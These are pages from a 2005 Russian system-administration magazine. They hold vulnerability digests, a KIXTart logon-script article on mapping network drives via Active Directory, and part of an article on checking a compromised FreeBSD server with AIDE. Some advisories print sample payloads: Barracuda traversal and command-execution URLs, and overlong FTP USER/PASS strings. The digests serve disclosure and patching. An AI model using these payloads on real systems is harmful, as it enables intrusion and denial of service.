URL производителя: www.phpmyfaq.de. Решение: Установите последнюю версию (1.5.2) с сайта производителя.
Переполнение буфера в VERITAS Storage Exec Программа: VERITAS StorageCentral 5.2; VERITAS Storage Exec 5.3. Опасность: Критическая. Описание: Уязвимость существует в нескольких DCOMкомпонентах при обработке входных данных. Удаленный пользователь может создать специально сформированный HTML-код, который вызовет соответствующий ActiveXобъект со специально сформированными значениями и вызовет переполнение буфера. Удачная эксплуатация уязвимости позволит злоумышленнику вызвать отказ в обслуживании или выполнить произвольный код на целевой системе. URL производителя: www.veritas.com. Решение: Установите исправление с сайта производителя.
Составил Александр Антипов
19
администрирование
ПОДКЛЮЧАЕМ СЕТЕВЫЕ РЕСУРСЫ В АВТОМАТИЧЕСКОМ РЕЖИМЕ
ИВАН КОРОБКО В настоящее время сети получили огромное распространение: теперь они не только на работе, но и дома. Статья посвящена созданию скрипта, с помощью которого осуществляется интеллектуальное управление сетевыми дисками, смена их описаний в папке «Мой компьютер».
С
егодня почти на любом предприятии есть компьютеры, объединенные в сеть. Каждому сотруднику, имеющему на своем рабочем месте компьютер, должен быть предоставлен доступ к сетевым ресурсам. С ростом размера предприятия происходит рост сети. У системного администратора и специалистов системной поддержки возрастают временные затраты на ее администрирование. В том числе на опубликование новых сетевых ресурсов, при переходе пользователя с одного рабочего места на другое; возникают проблемы с ограничением количества дисков (их всего может быть 27, включая сетевые, локальные, съемные диски). Затраты на администрирование можно сократить, создав сценарий регистрации пользователей в сети или, как говорят, сценарий загрузки, который на основе членства учетной записи пользователя в соот-
20
ветствующих группах безопасности будет подключать необходимые сетевые ресурсы в автоматическом режиме. При этом на одну и ту же букву можно подключить разные ресурсы для разных пользователей при условии непересечения членства пользователя в соответствующих группах безопасности. В противном случае, некоторые ресурсы будут недоступны пользователям. Приступим к созданию такого сценария.
Выбор языка программирования Для создания сценариев регистрации пользователей существует множество языков, однако остановим свой выбор на KIXTart. Этот язык является стандартным языком программирования сценариев компании Microsoft. Его дистрибутив можно найти в Microsoft Resource Kit или бесплатно загру-
администрирование
Рисунок 1. Пример изменения описания сетевого диска в папке «Мой Компьютер»
зить последнюю версию из сети Интернет (http://kixtart.org). В настоящее время используется KIXTart версии 4.50. Замечание: сценарии, созданные вами ранее на VBScript, Jscript могут быть легко переписаны под KIXtart. Все примеры в этой статье будут приведены на языке KIXTart.
Источник информации – файл или база данных? Чтобы успешно подключить сетевой ресурс, пользователю необходимо знать имя сетевого диска, с которым будет ассоциироваться ресурс, и UNC-путь сетевого подключаемого ресурса. Желательно иметь его описание, чтобы скорректировать название диска в папке «Мой компьютер». Встает закономерный вопрос – где же лучше всего хранить эту информацию? Можно в текстовом файле, лежащем в каталоге Netlogon, или в каком-нибудь хранилище, например, в Active Directory (далее AD). Мною использовались оба варианта, и в итоге выбор пал на AD. Было достаточно много причин переместить данные из текстового файла в AD, например, удобство в обслуживании, уменьшение программного кода и т. д.
Принцип работы сценария Для хранения информации в AD о подключаемом ресурсе был использован стандартный объект SharedFolder, который включал в себя информацию о букве, на которую подключается сетевой ресурс; UNC-путь к сетевому ресурсу; описание сетевого ресурса, которое фигурирует в папке «Мой Компьютер»; имя группы безопасности, членам которой будет подключен ресурс. Опишем механизм подключения одного из сетевых ресурсов, на примере общей папки подразделения «Otdel1». Пусть папка имеет следующий сетевой путь – «\\Esmiralda\ Work$\Otdel1», подключается к диску «К» и имеет описание «Служебные файлы» (см. рис. 1). В AD в любой OU, например «Shares», создайте объект «Share Folder» (см. рис. 2). В любой другой OU создайте группы безопасности, имена которых совпадают с URL сетевого ресурса после последней «точки». В приведенном примере группа, соответствующая подключаемому диску, должна называться «Otdel1». Членам этой группы будет подключен сетевой ресурс при условии, что она будет добавлена во вкладку безопаснос-
№9, сентябрь 2005
Рисунок 2. Свойства объекта Shared Folder в Active Directory
ти папки «Otdel1» с соответствующими правами на доступ к этой папке. Если необходимо сделать несколько различных уровней доступа, в названии группы можно использовать префикс. Таким образом, каждому подключаемому скриптом сетевому ресурсу соответствуют два объекта AD: опубликованная сетевая папка и соответствующая ей группа безопасности. Замечание: в том случае, если ресурс должен быть доступен всем пользователям сети, то необходимо в соответствующую ресурсу группу добавить группу «domain users» с соответствующими правами.
Сценарий подключения сетевых дисков Сценарий можно условно разбить на несколько логических частей: ! определения списка групп, в которые входит текущий пользователь; ! подключение к АD и чтение значений соответствующих полей; ! отключение всех обрабатываемых скриптом сетевых дисков; ! подключение необходимых сетевых дисков; ! корректировка описания сетевых дисков в папке «Мой компьютер».
Определение членства в соответствующих группах безопасности Определение членства в соответствующих группах безопасности осуществляется с помощью встроенной функции EnumGroup(): Do
$i=0
$Group = EnumGroup($i) $i=$i+1 Until Len($Group) = 0
Список групп, возвращаемый этой функцией (переменная $Group), имеет следующий шаблон: DOMAIN\GROUP. Поскольку в AD группы хранятся без префикса (в данном случае префиксов является короткое имя домена), то полученный список групп необходимо преобразовать. Результат рекомендуется записать в ту же переменную, т.е. GROUP:
21
администрирование Group=Right($Group, Len($Group)-InstrRev($Group,"\")
Таблица 1. Описание используемых полей объекта Shared Folder
Подключение к АD и чтение значений соответствующих полей Подключение к АD реализовано с помощью ADODB-соединения: $strADSQuery = "SELECT keywords, name, description, ↵ cn, uncname FROM '" +$domain _ +"' ↵ WHERE objectClass='volume'" $objConnection = CreateObject("ADODB.Connection") $objCommand = CreateObject("ADODB.Command") $objConnection.CommandTimeout = 120 $objConnection.Provider = "ADsDSOObject" $objConnection.Open ("Active Directory Provider") $objCommand.ActiveConnection = $objConnection $objCommand.CommandText = $strADSQuery $st = $objCommand.Execute
Поиск необходимых объектов осуществляется с помощью SQL-запроса. В качестве фильтра указывается ObjectClass=’volume’: "SELECT uname, keywords, description, cn FROM ↵ '" +$domain+"' WHERE objectClass='volume'"
где $domain – имя текущего домена, который определяется чтением глобального каталога RootDSE. Для его чтения достаточно прав обычного пользователя. Переменная $domain имеет вид «DC=domain,DC=com»: $rootDSE _ = GetObject("LDAP://RootDSE") $domain = "LDAP://" + $rootDSE _ .Get("defaultNamingContext")
Теперь необходимо правильно составить SQL-запрос. Для этого понадобятся следующие теоретические знания, а именно: как называются поля данного объекта и какому полю соответствует тот или иной тип данных (строка или массив). Рассмотрим подробнее объект «Shared Folder». Каждое поле любого объекта AD может быть либо строкой, либо массивом. Соответственно, механизмы чтения полей, имеющих разный тип данных, также отличаются. Чтение поля, соответствующего типу данных «строка», осуществляется следующим образом: $Value=$St.Fields("Field _ Name").Value
Если тип данных массив: $Val _ Array=$St.Fields("Field _ Name").Value For Each $Val _ Element in $Val _ Array $Value=$Value+$Val _ Element Next
В скрипте используются поля, описания и тип данных, которые приведены в таблице 1 (см. рис. 2). Чтение полей всех опубликованных сетевых ресурсов осуществляется с помощью цикла Do…Until: $st.MoveÞrst Do … $st.MoveNext Until $st.EOF
22
Как видно из приведенного примера, навигация по объектам, отобранным в результате SQL-запроса, осуществляется с помощью функций MoveFirst и MoveNext. Признаком конца списка является EOF. Итак, чтение полей осуществляется следующим образом: $st.MoveÞrst Do $cn=$St.Fields("cn").Value $uncname=$St.Fields("uncname").Value $ds _ s="" $dss=$St.Fields("description").Value for each $ds in $dss $ds _ s=$ds _ s + $ds Next $keyw _ s="" $kss=$St.Fields("keywords").Value for each $ks in $kss $keyw _ s=$keyw _ s+cstr($ks) Next … $st.MoveNext Until $st.EOF
Отключение сетевых дисков Отключение всех обрабатываемых скриптом сетевых дисков осуществляется с помощью команды USE: $st.MoveÞrst Do $ds _ s="" $dss=$St.Fields("description").Value for each $ds in $dss $ds _ s=$ds _ s + $ds Next use $ds _ s+":" /delete /persistent $St.MoveNext Until $St.EOF
где переменная $ds_s содержит значение поля, description – буква на которую монтируется диск. Благодаря такому механизму, скрипт управляет только теми сетевыми дисками, которые используются системным администратором в AD.
Подключение необходимых сетевых дисков Подключение дисков осуществляется по алгоритму: Сначала определяется необходимая для подключения сетевого диска информация, а именно буква, на которую монтируется диск (поле description); UNC-путь ресурса (поле UNCName); группа, членам которой будет подключен ресурс (поле cn). У читателя скорее всего возникнет закономерный вопрос: зачем использовать поле cn, когда имя группы фигурирует в UNC-путь ресурса? Чтение поля CN жизненно необходимо. Дело в том, что сетевой ресурс может быть двух видов: общий и индивидуальный. Приведем два примера. В первом случае осуществляется подключение общей
администрирование папки обмена данными, назовем ее «Exchange». Исходя из этого папка, к которой предоставлен доступ, называется «Exchange», соответствующая ей группа безопасности – «Exchange» и поскольку в эту группу входят все пользователи, то членом этой группы является группа «Domain Users». Во втором случае, нам необходимо подключить каждому пользователю домашний каталог. Для этого необходимо создать папку, например, «HomeDirs» и создать в ней подкаталоги, соответствующие логинам пользователей. Ситуация изменилась – сетевой путь к папке использовать нельзя, однако есть поле CN – имя ресурса, где можно записать всю необходимую информацию: имя пользователя и соответствующую группу безопасности (см. рис. 2). Итак, после определения трех необходимых полей узнать, входит ли пользователь в соответствующую ресурсу группу безопасности и при положительном исходе проверки приступить к подключению ресурса по одному из двух алгоритмов. Выбор алгоритма зависит от наличия логина в считанном значении CN. Подключение диска осуществляется с помощью команды use: ; элементами массива $usergroup _ name[] являются группы, ; членами которых является текущий пользователь for $t=0 to ubound($usergroup _ name) if instr($usergroup _ name[$t],$group _ b)<>0 ; критерием персонализации является членство ; в перечисленных группах PersonalGroup1…3 if instr(ucase($group _ b),ucase("PersonalGroup1"))<>0 ↵ or instr(ucase($group _ b),ucase("PersonalGroup2"))<>0 ↵ or instr(ucase($group _ b),ucase("PersonalGroup3"))<>0 if instr($cn,@userid)<>0 use $ds _ s+":" $uncname ? " !!!!" + $ds _ s+":" $uncname if @error=5 ; ошибка доступа ; к ресурсу $error _ code="1" $error _ message=$error _ message+ ↵ "Не удалось подключить диск " ↵ +$ds _ s+" к ресурсу "+ ↵ $cn+chr(13) EndIf
endif else use $ds _ s+":" $uncname ? " !!!!" + $ds _ s+":" $uncname if @error=5 ; ошибка доступа ; к ресурсу $error _ code="1" $error _ message=$error _ message+ ↵ "Не удалось подключить диск " ↵ +$ds _ s+" к ресурсу "+ ↵ $cn+chr(13) endif endif next
путь – буквы диска не видно. Согласитесь, что это неудобно. Во вторых, в некоторых ситуациях пользователь не должен знать, где находится ресурс. В третьих, пусть пользователь читает не UNC-пути к дискам, а нормальные их названия: «Файлы моего подразделения» или «Мои проекты». Ему сразу становится ясно, для чего предназначен диск. Поверьте, не все пользователи соответствуют термину «опытный пользователь». Это связано с тем, что на подключение диска требуется время, которое зависит от местоположения рабочей станции, загруженности сервера и других факторов. Точно его рассчитать не представляется возможным, поэтому для ускорения работы скрипта лучше разделить блоки подключения дисков и смены описания с помощью функции-задержки. Действие функции основано на вычислении промежутка времени с помощью нового макроса @Ticks, который возвращает количество миллисекунд с момента загрузки компьютера, определяется разность времени – при достижении указанного интервала во времени, задержки, осуществляется выход из цикла: $delay _ size=3 $Q = @Ticks + $delay _ size*1000 Do Until @Ticks >= $Q
; x – количество секунд ; задержки
Механизм смены описания в Windows 2000 и Windows XP разный. Характеристики всех типов дисков (сетевых, локальных и съемных) в Windows 2000 хранятся в ветви реестра HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Explorer\MountPoints в Windows 2000, для Windows XP – в HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Explorer\MountPoints2. Рассмотрим каждый механизм подключения сетевых дисков отдельно. Начнем с Windows XP, т.к. там он наиболее понятен и прост.
Переименование описаний сетевых дисков для Windows XP Точки монтирования сетевых дисков организованы по следующему принципу: в подпапке HKEY_CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ MountPoints2 для сетевых дисков создаются подразделы, имена которых организованы по принципу: «## имя сервера # имя папки, к которой предоставлен доступ # подпапка1 #.... # подпапкаX». В каждой из этих подпапок присутствуют 3 обязательных параметра, четвертый – _LabelFromReg также должен быть создан (см. рис. 3). Для смены имени сете-
EndIf
Корректировка описаний дисков в папке «Мой компьютер» Механизм переименования сетевых дисков в папке «Мой компьютер» лучше всего запускать после завершения процесса подключения самих сетевых дисков. У читателя может возникнуть закономерный вопрос: «Зачем это вообще надо?». Существует несколько причин. Приведем некоторые из них: представьте, что у вас длинный сетевой
№9, сентябрь 2005
Рисунок 3. Фрагмент реестра, в котором описываются точки монтирования сетевых дисков (Windows XP)
23
администрирование вого диска в папке «Мой Компьютер» необходимо изменить значение строковой переменной _LabelFromReg. WriteValue(cstr($keyw _ path+"\"+$temp1), ↵ " _ LabelFromReg",cstr($keyw _ s),"REG _ SZ")
Для определения переменной $key_path необходимо вычислить названия папок, UNC-путь: необходимо заменить символ «\» на «#»: $st.MoveÞrst Do $uncname=$St.Fields(«uncname»).Value … $keyw _ path="HKEY _ CURRENT _ USER\Software\Microsoft\ ↵ Windows\CurrentVersion\Explorer\MountPoints2" $uncname=Right($uncname,Len($uncname)-2) $keyw _ array=split($uncname,»\») $temp1="#" For Each $ugu in $keyw _ array $temp1=$temp1+"#"+$ugu Next WriteValue(cstr($keyw _ path+"\"+$temp1), ↵ " _ LabelFromReg",cstr($keyw _ s),"REG _ SZ") $st.MoveNext Until $st.EOF
Переименование описаний сетевых дисков для Windows 2000 Логика подключения сетевых дисков Windows 2000 и XP сильно отличаются. В ветви реестра «HKEY_CURRENT_ USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ MountPoints» созданы подразделы (см. рис. 4), имена которых совпадают с буквой подключаемого сетевого диска. Внутри каждого из них существуют еще подразделы. Среди них обязательными являются Autorun, _DIL, _LabelFromDesktopINI. Для изменения описания диска в папке «Мой Компьютер» в каждой из них необходимо создать два раздела, если они еще не существуют: _GVI и _LabelFromReg. В каждом из них при внесении изменений необходимо менять значение параметра Version, имеющего тип данных REG_DWORD. В подпапке _LabelFromReg дополнительно необходимо создать ключ Cache, в котором в зашифрованном виде находится описание подключаемого сетевого диска. Тип данных параметра Cache – REG_BINARY. Опишем систему шифрования данного параметра на примере фразы «Служебные файлы», причем последняя буква «е» в первом слове пусть будет английская. Нам нужен пример любой английской буквы. Надо рассмотреть алгоритм обработки латинских и русских символов.
Рисунок 4. Фрагмент реестра, в котором описываются точки монтирования сетевых дисков (Windows 2000)
24
Кодовая таблица Windows (CP-1251) Таблицы кодов знаков ASCII содержат десятичные и шестнадцатеричные значения расширенного набора знаков ASCII (American Standards Committee for Information Interchange – американский комитет стандартов по обмену информацией). Расширенный набор знаков включает набор знаков ASCII и 128 дополнительных знаков для рисования графики и линий, которые часто упоминаются как «набор знаков IBM». Отображаемые в Windows знаки с кодами больше 127 зависят от выбранной гарнитуры шрифта. Таблица, представленная на рис. 5, показывает набор знаков по умолчанию для текстового приложения.
Рассмотрим преобразование первой буквы выражения – русской заглавной буквы «С». Процедура чтения кода символа осуществляется с помощью функции ASC. Букве «С» соответствует номер 209 в таблице ASCII (см. рис. 5). Затем необходимо перевести полученное значение в шестнадцатеричное с помощью DecToHex, параметром которой является число – ASCII-код символа. Символу с ASCII с номером 209 соответствует шестнадцатеричное число D1. Теперь самое интересное: полученное значение разбивают на два символа. Буквенное значение первого символа преобразуют в цифру в соответствии с таблицей 2, а для идентификации языка добавляют 2-й байт. Первым байтом является два символа – НЕХ-код буквы. Таблица 2. Преобразование первого символа HEX-кода буквы
Таким образом, получаем, что первому символу соответствует код «21» – это первый байт. Второй байт принимает значение в зависимости от языка: 04 – русский язык и 00 – английский. Он определяется по коду символа: если ASCII-код символа больше 128, то буква русская (см. рис. 5), в противном случае – английская. Итак, второй байт символа равен «04», а сам символ – «21 04». Для наглядности привожу таблицу преобразования всего выражения (см. таблицу 3).
Рисунок 5. Кодовая таблица Windows (CP-1251)
администрирование Таблица 3. Карта преобразования фразы «Служебные файлы»
If $ßag _ S=0 Select Case instr(ucase($string),UCase("с"))<>0 $t=$t+cstr("1")+$string2 $ßag _ S=1 … EndSelect If $ßag _ S=0 $t=$t+cstr(dectohex(Asc(Right(Left ↵ ($keyw _ s,$c),1)))) endif
Определение 2-го байта символа осуществляется по ASCII-коду символа:
Настало время осветить этот вопрос с точки зрения программирования. Итак, мы рассмотрели преобразование только одного символа, однако выражение состоит из множества символов, которые необходимо последовательно преобразовать: $keyw _ s="Служебные файлы" For $c=1 to Len($keyw _ s) $symbol= cstr(dectohex(Asc(Right(Left($keyw _ s,$c),1))) Next
В приведенном примере переход от символа к символу осуществляется с помощью цикла For…Next и комбинации функций Left и Right. В конечном счете переменная $symbol является шестнадцатеричным числом (HEX). Теперь необходимо отдельно получить первый и второй символы каждого из HEX-числа и с первым символом в случае, если его код ASCII больше 128, выполнить преобразование (см. таблицу 3). Первый символ и второй символ определяются следующим образом: $string=ucase(left(cstr(dectohex(Asc(Right ↵ (Left($keyw _ s,$c),1)))),1)) $string2=ucase(right(cstr(dectohex(Asc(Right ↵ (Left($keyw _ s,$c),1)))),1))
Приступим к реализации алгоритма преобразования первого символа шестнадцатеричного числа. В нем целесообразно использовать систему флагов и инструкцию select…case. Приведем пример преобразования первой буквы выражения – «С». Как было определено ранее, этому символу соответствует шестнадцатеричное значение D1, исходя из таблицы 2, D должно преобразоваться в 2, а само число в 21:
If Asc(Right(Left($keyw _ s,$c),1))>128 $t=$t+"04" Else $t=$t+"00" Endif
Поскольку строка описания может иметь только 32 символа и обновляется исключительно записываемая часть, то во избежание оставления «хвостов» необходимо все остальные символы обнулить: For $r=1 to 32-len($keyw _ s) $t=$t+cstr("00") Next
И, наконец, последний штрих – запись соответствующих значений в реестр: WriteValue($keyw _ path+"\"+$ds _ s+"\ _ LabelFromReg", ↵ "Cache", $t, "REG _ BINARY") $r _ w1=ReadValue($keyw _ path+"\"+$ds _ s+ ↵ "\ _ LabelFromReg","version") WriteValue($keyw _ path+"\"+$ds _ s+"\ _ LabelFromReg", ↵ "Version", $r _ w1+1, "REG _ DWORD") $r _ w2=ReadValue($keyw _ path+"\"+$ds _ s+ ↵ "\ _ GVI","version") WriteValue($keyw _ path+"\"+$ds _ s+"\ _ GVI", "Version", ↵ $r _ w2+1, "REG _ DWORD")
В приведенном примере осуществляется наращивание версии в разделах _LabelFromReg и _GVI. Теперь осталось научить скрипт определять на какой операционной системе он выполняется и с описанием подключения сетевых дисков будет покончено. Тип определенной системы в KIXTart определяется с помощью макроса @PRODUCTTYPE. Таким образом, если в возвращаемом макросом значении присутствует комбинация символов 2000, то выполТаблица 4. Список возвращаемых значений макросом @ProductType
Select … Case instr(ucase($string),UCase("d"))<>0 $t=$t+cstr("2")+$string2 … End Select
В данном случае используется только инструкция select…case. Флаговая система используется для определения алгоритма преобразования, в зависимости от HEXкода символа:
№9, сентябрь 2005
25
администрирование
Рисунок 7. Свойства домена в AD Рисунок 6. Диалоговое окно свойства пользователей в AD
няется сценарий для Windows 2000, и для Windows XP, соответственно, XP: If instr(ucase(@producttype), ucase("2000"))<>0 ………; сценарий для Windows 2000 Else If instr(ucase(@producttype), ucase("xp"))<>0 ………; сценарий для Windows XP EndIf EndIf
Полную версию сценария смотрите на сайте www.samag.ru в разделе «Исходный код».
Внедрение скрипта в эксплуатацию Скрипт выполняется каждый раз при регистрации пользователя в сети, если он указан в разделе Profile свойств пользователя (см. рис. 6) службы Active Directory: Users and Computers. В папке Netlogon должны находиться файлы: ! KIX32.EXE ! SCRIPT.KIX ! START.BAT Файл Start.bat имеет следующий листинг: start /wait kix32.exe script.kix
На время выполнения скрипта необходимо скрыть CMDпанель, в которой выполняется скрипт и приостановить загрузку рабочего стола до окончания всего скрипта. Этого результата добиваются с помощью групповой политики, распространяющейся на домен («Default Domain Controllers Policy»). В разделе групповой политики «User Configuration» необходимо, соответственно, включить «Run legacy logon script synhronously» (запускать сценарий загрузки синхронно) и «Run legasy script hidden» (запускать сценарий скрыто). Для этого необходимо проделать следующее:
26
Рисунок 8. Доменная политика безопасности
! Зарегистрироваться на сервере с помощью учетной записи, имеющей административные права.
! Загрузить в Active Directory Users and Computers («Start → Programs → Administrative Tools») и войти в свойства контроллера домена. ! Перейти во вкладку «Group Policy» и загрузить «Default Dоmain Policy» (см. рис. 7). ! В загруженной групповой политике (Default Domain Policy) необходимо в «User Configuration» (настройках пользователя) войти в «Administrative Templates» (администартивные настройки). Там выбрать раздел «System» (система), вкладку «logon/logoff» (войти/выйти) и включить раннее оговоренные политики (см. рис. 8).
Заключение Таким образом созданный сценарий автоматически подключает и отключает сетевые ресурсы. Управляет только теми буквами дисков, которые присутствуют в поле description опубликованных сетевых ресурсов. С помощью скрипта можно реализовать множественное подключение сетевых ресурсов на одну букву при условии, что членство пользователей в соответствующих группах не пересекается.
bugtraq Обход каталога и выполнение команд в Barracuda Spam Firewall
Уязвимость форматной строки в OpenTTD
Программа: Barracuda Spam Firewall версии до 3.1.18. Опасность: Высокая. Описание: Обход каталога возможен из-за недостаточной обработки входных данных в параметре f сценария /cgi-bin/ img.pl. Удаленный пользователь может с помощью специально сформированного URL, содержащего символы обхода каталога, просмотреть произвольные файлы и выполнить произвольные команды на системе. Примеры:
Программа: OpenTTD 0.4.0.1. Опасность: Критическая. Описание: Уязвимость обнаружена в файлах network.c, os2.c, strgen/strgen.c, texteff.c, ttd.c и win32.c из-за недостаточной обработки входных данных перед вызовом функции vsprintf(). Удаленный пользователь может послать приложению специально сформированный запрос и вызвать отказ в обслуживании или выполнить произвольный код на целевой системе. URL производителя: www.openttd.com. Решение: В настоящее время способов устранения уязвимости не существует.
http://[target]:8000/cgi-bin/img.pl?f=../home/ emailswitch/code/ conÞg/current.conf http://[target]:8000/cgi-bin/img.pl?f=../bin/ls|
URL производителя: www.barracudanetworks.com. Решение: Установите последнюю версию (3.1.18) с сайта производителя.
Выполнение произвольных команд в Mozilla Firefox Программа: Mozilla Firefox 1.0.6. Опасность: Высокая. Описание: Уязвимость обнаружена в сценарии, который вызывается для обработки консольных команд, содержащихся в URL. Удаленный пользователь может заставить пользователя нажать на специально сформированную ссылку во внешнем приложении, которое использует Firefox в качестве браузера по умолчанию, и выполнить произвольные команды на системе с привилегиями текущего пользователя. Уязвимость существует только на UNIXплатформах. URL производителя: www.mozilla.org/products/firefox. Решение: Установите последнюю версию с сайта производителя.
Переполнение буфера при обработке ARJ-архивов в NOD32 Программа: NOD32 nod32.002 version 1.033 build 1127. Опасность: Критическая. Описание: Уязвимость существует из-за ошибки при обработке ARJ-архивов, содержащих слишком длинные имена файлов. Удачная эксплуатация уязвимости позволит злоумышленнику выполнить произвольный код на целевой системе. URL производителя: www.nod32.com. Решение: Установите исправление с сайта производителя.
Утечка памяти в Apache Программа: Apache 2.0.х. Опасность: Средняя. Описание: Уязвимость существует в функции ap_ byterange_filter() модуля modules/http/http_protocol.c. Удаленный пользователь может послать CGI -приложению специально сформированный HTTP-запрос и вызвать отказ в обслуживании приложения. URL производителя: www.apache.org. Решение: Установите исправление, доступное по SVN: http://svn.apache.org/viewcvs.cgi?rev=239378&view=rev.
№9, сентябрь 2005
Выполнение произвольного кода в vxFtpSrv Программа: vxWeb 0.9.7. Опасность: Критическая. Описание: Удаленный пользователь может подключиться к FTP-серверу и послать специально сформированную команду USER, что приведет к переполнению буфера и позволит злоумышленнику вызвать отказ в обслуживании или выполнить произвольный код на целевой системе. Пример: USER seth@@@@[...]@@@D@@@C@@@B@@@XXXX
URL производителя: www.cam.com/vxftpsrv.html. Решение: В настоящее время способов устранения уязвимости не существует.
Отказ в обслуживании в SlimFTPd Программа: SlimFTPd 3.17. Опасность: Средняя. Описание: Уязвимость существует при обработке команд FTP USER и PASS. Удаленный пользователь может послать сервису специально сформированные команды и вызвать отказ в обслуживании приложения. Пример: USER aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n PASS aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n
URL производителя: www.whitsoftdev.com/slimftpd. Решение: В настоящее время способов устранения уязвимости не существует.
Отказ в обслуживании в Squid Программа: Squid 2.5. Опасность: Средняя. Описание: Уязвимость существует из-за ошибки сегментации в функции sslConnectTimeout() файла /squid/src/ssl.c. Удаленный пользователь может с помощью специально сформированного запроса аварийно завершить работу уязвимого сервиса. URL производителя: www.squid-cache.org. Решение: Установите исправление с сайта производителя: www.squid-cache.org/…2.5.STABLE10-sslConnectTimeout. patch.
Составил Александр Антипов
27
администрирование
УПРАВЛЯЕМ УДАЛЕННЫМИ БАЗАМИ AIDE ЧАСТЬ II – AIDEStart
РАШИД АЧИЛОВ Никто его не ждет, хотя постоянно готовится к нему. И вот он наступает – день, когда сервер взламывается и необходимо проверить, какие файлы подверглись изменениям. Заветная флэшка с данными контрольных сумм достается из сейфа. Как ей воспользоваться на взломанной машине, чтобы максимально обезопасить себя от фальсификации результата?
А зачем отдельный скрипт запуска? Конечно, наилучшим решением была бы загрузка с LiveCD/Flash/другой системы, монтирование дисков сервера вручную и проверка их в полностью доверенной системе. Но неприятности тем и неприятны, что приходят как раз в тот момент, когда такая система, если она есть, неисправна, незакончена или просто физически отсутствует. Поэтому для запуска проверки непосредственно на недостоверной машине будет использовать AIDEStart. AIDEstart – второй скрипт, предназначенный для управления удаленны-
28
ми базами AIDE. Его назначение – использовать сохраненные базы для проверки системы. При этом предполагается, что проверяемая машина недоверенная, то есть может содержать поврежденные и/или зараженные файлы. Поэтому дополнительно ко всему прочему AIDEstart минимально использует ее средства, говоря точнее, используется только ядро системы (/boot/kernel). Все остальные средства находятся на съемном носителе, предназначенном для хранения последнего поколения баз AIDE. Дополнительно к последнему поколению носитель содержит полный ком-
плект исполняемых файлов для выполнения проверки и всех вспомогательных операций: chown, chmod, ln и т. д. Все они сделаны статически собранными для того, чтобы исключить взаимодействие с libc.so. AIDEstart выполняет обычный комплект операций – инициализация базы, проверка, обновление базы. Если база обновлялась, то полученную обновленную базу необходимо перенести на Flash вручную, для чего предусмотрена опция командной строки «не размонтировать Flash по окончании работы». Полный текст скрипта смотрите на сайте www.samag.ru, в разделе «Исход-
администрирование ный код»). Он снабжен достаточно подробными комментариями, а наиболее важные и интересные моменты мы обсудим далее по ходу статьи.
! -c – проверить систему по последней базе (выполняет-
Готовим носитель для AIDEStart
! -m – сравнить базы данных (выполняется команда aide
Для того чтобы Flash, содержащий базы, предварительно заполненный с помощью AIDEcontrol, можно было использовать c AIDEstart, его необходимо предварительно подготовить. Эти действия не выполняются AIDEControl, поскольку заранее неизвестно, будет ли использоваться AIDEStart для проверки или нет. Все действия по подготовке Flash необходимо проводить на доверенной машине, поскольку именно этот комплект исполняемых файлов будет считаться эталоном при запуске на недостоверной машине. Flash, заполненный с помощью AIDEControl, содержит каталоги с именами, совпадающими с именами машин в файле описания узлов. Дополнительно необходимо вручную создать каталоги bin и bin5, в которые поместить соответственно статически собранные для FreeBSD 4.x и для FreeBSD 5.x исполняемые файлы: Bzip2, AIDE, camcontrol, chown, chmod, cp, mv, less, rm, umount, а также собственно aidecontrol, aidestart и конфигурационный файл aidecontrol.conf. Для того чтобы собрать все перечисленные выше исполняемые файлы, статически ищем их в дереве исходных текстов системы (или портов для AIDE), и добавляем в Makefile строчку: LDADD += -static
после чего запускаем make. После завершения работы make в каталоге будет находится исполняемый файл, собранный статически, в чем можно убедиться таким образом:
ся команда aide --check).
! -u – обновить последнюю базу данных (выполняется команда aide --update). --compare).
! -f – указывает имя и путь к конфигурационному файлу (по умолчанию /usr/local/etc/aidecontrol.conf).
! -n – не размонтировать Flash после окончания работы.
Эта опция предназначена для команд, изменяющих базу. AIDEStart сам не копирует созданную/обновленную базу с компьютера на Flash, и это сделано намеренно. Вы сами должны решить, стоит ли заменять последнюю копию базы на Flash, на новую или нет. ! -5 – скрипт запускается на FreeBSD 5.x (по умолчанию предполагается 4.x). Таким образом: # aidestart -i
инициализирует базу по умолчанию (/var/db/aide/aide.db, если в конфигурационном файле не указано иное). # aidestart -u -n
проверит систему по последней базе с ее одновременным обновлением, выведет отчет с помощью less и переименует «новую» базу (aide.db.new) в «старую» (aide.db). После выполнения этой операции Flash не будет размонтирована для возможной перезаписи «старой» базы. #aidestart -m -f /tmp/blabla.conf -5
# ldd chmod ldd: chmod: not a dynamic executable
! ! ! ! ! ! ! ! !
Местоположение нужных нам файлов: /usr/src/bin/chmod /usr/src/bin/cp /usr/src/bin/mv /usr/src/bin/rm /usr/src/sbin/camcontrol /usr/src/sbin/umount /usr/src/usr.bin/bzip2 /usr/src/usr.bin/less /usr/src/usr.sbin/chown
Опции командной строки и примеры запуска Перед началом проверки нам нужно переписать конфигурационный файл aidecontrol.conf на его обычное место – /usr/ local/etc/aidecontrol.conf. Это обычный текстовый файл, за него нечего бояться. Файл можно и не копировать, но тогда придется каждый раз указывать место его размещения. AIDEStart распознает следующие опции командной строки: ! -h – краткая справка по опциям (без примеров). ! -i – инициализировать базы AIDE (выполняется команда aide --init).
№9, сентябрь 2005
сравнит «старую» базу, загруженную с Flash, и «новую» (aide.db.new), созданную, возможно, в другое время, используя конфигурационный файл /tmp/blabla.conf и учитывая то, что запускаться скрипт будет на FreeBSD 5.x.
Загрузка базы AIDE для проверки Эта функция разбирается просто для того, чтобы показать, что скрипт действительно не использует никаких системных исполняемых файлов для работы – только свои собственные. loadbase() { $aidepath/rm -f $adbnam $aidepath/cp $aidebase/$adbnam.bz2 $adbnam.bz2 $aidepath/chown $abowner:$abgroup $adbnam.bz2 $aidepath/chmod $abmode $adbnam.bz2 }
$aidepath/bzip2 -d -q $adbnam.bz2
Выполнение операции Перед тем как скопировать базу с Flash-диска, скрипт проверяет параметр starthost из конфигурационного файла – его значение должно быть установлено равным тому имени, что было задано для данного компьютера в фай-
29
